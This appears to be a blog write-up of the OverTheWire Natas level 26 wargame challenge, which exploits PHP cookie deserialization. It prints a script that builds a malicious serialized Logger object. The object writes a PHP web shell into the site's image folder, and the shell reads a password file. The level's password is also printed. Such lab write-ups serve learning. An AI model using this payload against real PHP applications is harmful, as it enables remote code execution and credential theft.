Writeups OverTheWireNatasWeb ExploitationDeserializationRCEPHP

Natas 26 Writeup - OverTheWire

Writeup for Natas level 26 from OverTheWire: PHP object deserialization to remote code execution.

Contents

Wargame: Natas

Level: 26

Category: Web Exploitation

Description

The page renders a drawing tool that stores line coordinates in a drawing cookie. The cookie is base64-decoded and PHP-unserialized on each request. The page source also defines a Logger class. The goal is to achieve remote code execution by exploiting unsafe deserialization.

Overview

Background: PHP Object Deserialization

Solution

Step 1: Understand the Logger Class

function __destruct() {
    $fd = fopen($this->logFile, "a+");
    fwrite($fd, $this->exitMsg);
    fclose($fd);
}

Step 2: Craft the Malicious Serialized Object

import subprocess, base64

php_code = """<?php
class Logger {
    private $logFile = "img/horse3903.php";
    private $initMsg = "";
    private $exitMsg = "<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>";
}
echo serialize(new Logger());
"""
result = subprocess.check_output(["php", "-r", php_code])
cookie = base64.b64encode(result).decode()

Step 4: Execute the Shell

Password

8A506rfIAXbKKk68yJeuTuRq4UfcK70k

← Back to Blog